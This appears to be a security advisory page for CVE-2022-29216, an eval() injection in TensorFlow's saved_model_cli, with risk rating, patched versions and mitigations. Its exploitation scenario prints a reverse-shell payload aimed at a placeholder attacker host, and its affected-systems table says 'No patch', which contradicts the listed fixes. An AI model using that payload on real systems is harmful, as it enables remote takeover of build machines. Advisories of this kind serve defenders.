CVE-2022-29216: TensorFlow CLI: eval() injection enables reverse shell
HIGH PoC AVAILABLE CISA: ATTENDTensorFlow's saved_model_cli tool passed user-supplied arguments directly to eval() without sanitization, enabling local code execution and reverse shell access. The attack requires local access and user interaction with the CLI, limiting blast radius to developer workstations and MLOps pipelines. Patch immediately to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — any ML engineer running older TF versions in a shared build environment is exposed.
Risk Assessment
High severity (CVSS 7.8) but practical risk is bounded by the local attack vector. The primary exposure is in shared ML development environments, CI/CD pipelines, and MLOps tooling where saved_model_cli is invoked with user-controlled arguments. Containerized training jobs that accept external model paths and run saved_model_cli for validation are the highest-risk scenario. Not in CISA KEV, no confirmed active exploitation, but the technique (eval injection) is trivial to execute once local access is achieved.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| tensorflow | pip | — | No patch |
Do you use tensorflow? You're affected.
Severity & Risk
Attack Surface
Recommended Action
5 steps-
Upgrade to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — the fix removes safe=False from the eval call entirely.
-
Audit CI/CD pipelines and MLOps scripts for saved_model_cli invocations that accept external or user-supplied arguments.
-
In the interim, avoid passing untrusted input as tensor values to saved_model_cli.
-
Enforce least-privilege on ML build agents — containerized pipelines should not have network egress that would enable a reverse shell to call home.
-
Review any wrapper scripts that invoke saved_model_cli with model artifacts from external sources (e.g., model registries, S3 buckets).
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2022-29216?
TensorFlow's saved_model_cli tool passed user-supplied arguments directly to eval() without sanitization, enabling local code execution and reverse shell access. The attack requires local access and user interaction with the CLI, limiting blast radius to developer workstations and MLOps pipelines. Patch immediately to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — any ML engineer running older TF versions in a shared build environment is exposed.
Is CVE-2022-29216 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2022-29216, increasing the risk of exploitation.
How to fix CVE-2022-29216?
1. Upgrade to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — the fix removes safe=False from the eval call entirely. 2. Audit CI/CD pipelines and MLOps scripts for saved_model_cli invocations that accept external or user-supplied arguments. 3. In the interim, avoid passing untrusted input as tensor values to saved_model_cli. 4. Enforce least-privilege on ML build agents — containerized pipelines should not have network egress that would enable a reverse shell to call home. 5. Review any wrapper scripts that invoke saved_model_cli with model artifacts from external sources (e.g., model registries, S3 buckets).
What systems are affected by CVE-2022-29216?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps tooling, CI/CD for ML.
What is the CVSS score for CVE-2022-29216?
CVE-2022-29216 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.17%.
Technical Details
NVD Description
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
Exploitation Scenario
An adversary with local access to a developer workstation or CI/CD build agent crafts a malicious numpy expression as a tensor input argument to saved_model_cli (e.g., --input_exprs 'input=__import__("os").system("bash -i >& /dev/tcp/attacker.com/4444 0>&1")'). When the engineer or automated pipeline runs model validation with this argument, the eval() call executes the injected code, opening a reverse shell back to the attacker. In a shared MLOps environment, this could allow lateral movement from a compromised model artifact repository into the build infrastructure.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H References
- github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py 3rd Party
- github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7 Patch 3rd Party
- github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac Patch 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.6.4 Release 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.7.2 Release 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.8.1 Release 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.9.0 Release 3rd Party
- github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc Exploit Patch 3rd Party
- github.com/YoussefJeridi/vulTenserflow Exploit
- github.com/YoussefJeridi/vulTensorflow Exploit
Timeline
Related Vulnerabilities
CVE-2020-15196 9.9 TensorFlow: heap OOB read in sparse/ragged count ops
Same package: tensorflow CVE-2020-15205 9.8 TensorFlow: heap overflow in StringNGrams, ASLR bypass
Same package: tensorflow CVE-2020-15208 9.8 TFLite: OOB read/write via tensor dimension mismatch
Same package: tensorflow CVE-2019-16778 9.8 TensorFlow: heap overflow in UnsortedSegmentSum op
Same package: tensorflow CVE-2022-23587 9.8 TensorFlow: integer overflow in Grappler enables RCE
Same package: tensorflow
AI Threat Alert